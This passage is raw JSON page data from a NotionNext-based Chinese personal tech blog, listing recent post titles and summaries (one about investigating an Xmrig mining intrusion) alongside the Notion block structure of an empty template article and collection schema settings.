2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"47aba706-2cde-4eef-9fb8-0cdd0f7805c9":{"value":{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","version":7,"type":"page","content":["4f888598-436f-45ae-8798-cc8ab24c09c9","b695537b-33d7-4ddd-a1e0-44bf5b40f53f","c9343f3d-dc2f-4af9-8a25-0ad7c208ba60","45def727-02f6-4deb-83a9-69b7b266ee4d","6316fbc9-d6ed-4f69-af61-a4d2259d9111","4009c235-486f-46e0-853a-fe8181429f05","bf80f998-7dbb-4ecb-8327-baa30c18b6d1","8459ea2c-edbe-4726-a8a7-3ee8c80a3b94","4f1a0b85-c149-433d-b3c9-b7f926541529","4af440a2-cb6b-448c-8e5c-346fa88279c7","c76d05b0-646b-494b-92ea-d9136d82500e","08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1","13404196-5553-4065-89fd-844340054d07","39ceea91-795b-42c2-b94d-0f61dd710407","66839f7d-30bf-4925-89d5-b88afac3db8c"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"5673a15c-db7e-459c-ba9c-bf199bf47d61","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630795364,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"5673a15c-db7e-459c-ba9c-bf199bf47d61","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"4f888598-436f-45ae-8798-cc8ab24c09c9":{"value":{"id":"4f888598-436f-45ae-8798-cc8ab24c09c9","type":"text","format":{"copied_from_pointer":{"id":"a758c06e-58d4-4c41-9edb-9b382d6bfbd2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a758c06e-58d4-4c41-9edb-9b382d6bfbd2"}},"b695537b-33d7-4ddd-a1e0-44bf5b40f53f":{"value":{"id":"b695537b-33d7-4ddd-a1e0-44bf5b40f53f","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"6a2e864c-2508-464c-9afe-118d1e557294","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"6a2e864c-2508-464c-9afe-118d1e557294"}},"7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d":{"value":{"id":"7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"f5b83eb8-1f73-40fb-a48d-c25d1bde99ed","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337154,"last_edited_time":1705594337154,"parent_id":"b695537b-33d7-4ddd-a1e0-44bf5b40f53f","parent_table":"block","alive":true,"copied_from":"f5b83eb8-1f73-40fb-a48d-c25d1bde99ed"}},"c9343f3d-dc2f-4af9-8a25-0ad7c208ba60":{"value":{"id":"c9343f3d-dc2f-4af9-8a25-0ad7c208ba60","type":"text","format":{"copied_from_pointer":{"id":"eb6f2991-c619-4351-8886-c158f8d72ca5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"eb6f2991-c619-4351-8886-c158f8d72ca5"}},"45def727-02f6-4deb-83a9-69b7b266ee4d":{"value":{"id":"45def727-02f6-4deb-83a9-69b7b266ee4d","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"b7341d91-76b8-46b5-825a-de5f585d4b99","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"b7341d91-76b8-46b5-825a-de5f585d4b99"}},"6316fbc9-d6ed-4f69-af61-a4d2259d9111":{"value":{"id":"6316fbc9-d6ed-4f69-af61-a4d2259d9111","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"64a86efd-2caa-4ca0-ba43-ed852b132802","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"64a86efd-2caa-4ca0-ba43-ed852b132802"}},"4009c235-486f-46e0-853a-fe8181429f05":{"value":{"id":"4009c235-486f-46e0-853a-fe8181429f05","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"7e1007d7-d850-4848-a758-1727cf2e6066","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"7e1007d7-d850-4848-a758-1727cf2e6066"}},"bf80f998-7dbb-4ecb-8327-baa30c18b6d1":{"value":{"id":"bf80f998-7dbb-4ecb-8327-baa30c18b6d1","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"cc2647bd-d705-4c34-b5fa-84eb1b34e7af","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"cc2647bd-d705-4c34-b5fa-84eb1b34e7af"}},"8459ea2c-edbe-4726-a8a7-3ee8c80a3b94":{"value":{"id":"8459ea2c-edbe-4726-a8a7-3ee8c80a3b94","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"4c6b1fd0-99bb-4394-b7c8-55b4f82c7564","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"4c6b1fd0-99bb-4394-b7c8-55b4f82c7564"}},"4f1a0b85-c149-433d-b3c9-b7f926541529":{"value":{"id":"4f1a0b85-c149-433d-b3c9-b7f926541529","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"b1cb1aa0-4990-4882-a640-50ff4d1c0610","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"b1cb1aa0-4990-4882-a640-50ff4d1c0610"}},"4af440a2-cb6b-448c-8e5c-346fa88279c7":{"value":{"id":"4af440a2-cb6b-448c-8e5c-346fa88279c7","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"7b99ddd6-3cf4-4ff2-97e6-24819200de4d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"7b99ddd6-3cf4-4ff2-97e6-24819200de4d"}},"c76d05b0-646b-494b-92ea-d9136d82500e":{"value":{"id":"c76d05b0-646b-494b-92ea-d9136d82500e","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"fbb5211a-e7ea-4eef-8ea6-184451e6ca5e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"fbb5211a-e7ea-4eef-8ea6-184451e6ca5e"}},"08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1":{"value":{"id":"08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"68e507f5-3618-496f-b9cd-d47ee8b8e356","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"68e507f5-3618-496f-b9cd-d47ee8b8e356"}},"13404196-5553-4065-89fd-844340054d07":{"value":{"id":"13404196-5553-4065-89fd-844340054d07","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"a9118aeb-349d-474e-a4ff-ff3190383328","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a9118aeb-349d-474e-a4ff-ff3190383328"}},"39ceea91-795b-42c2-b94d-0f61dd710407":{"value":{"id":"39ceea91-795b-42c2-b94d-0f61dd710407","type":"text","format":{"copied_from_pointer":{"id":"a58c8f9b-995f-406d-bdc8-ed2dab45a598","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a58c8f9b-995f-406d-bdc8-ed2dab45a598"}},"66839f7d-30bf-4925-89d5-b88afac3db8c":{"value":{"id":"66839f7d-30bf-4925-89d5-b88afac3db8c","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"a6c9899f-912f-4400-adbc-a8f49228e160","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a6c9899f-912f-4400-adbc-a8f49228e160"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-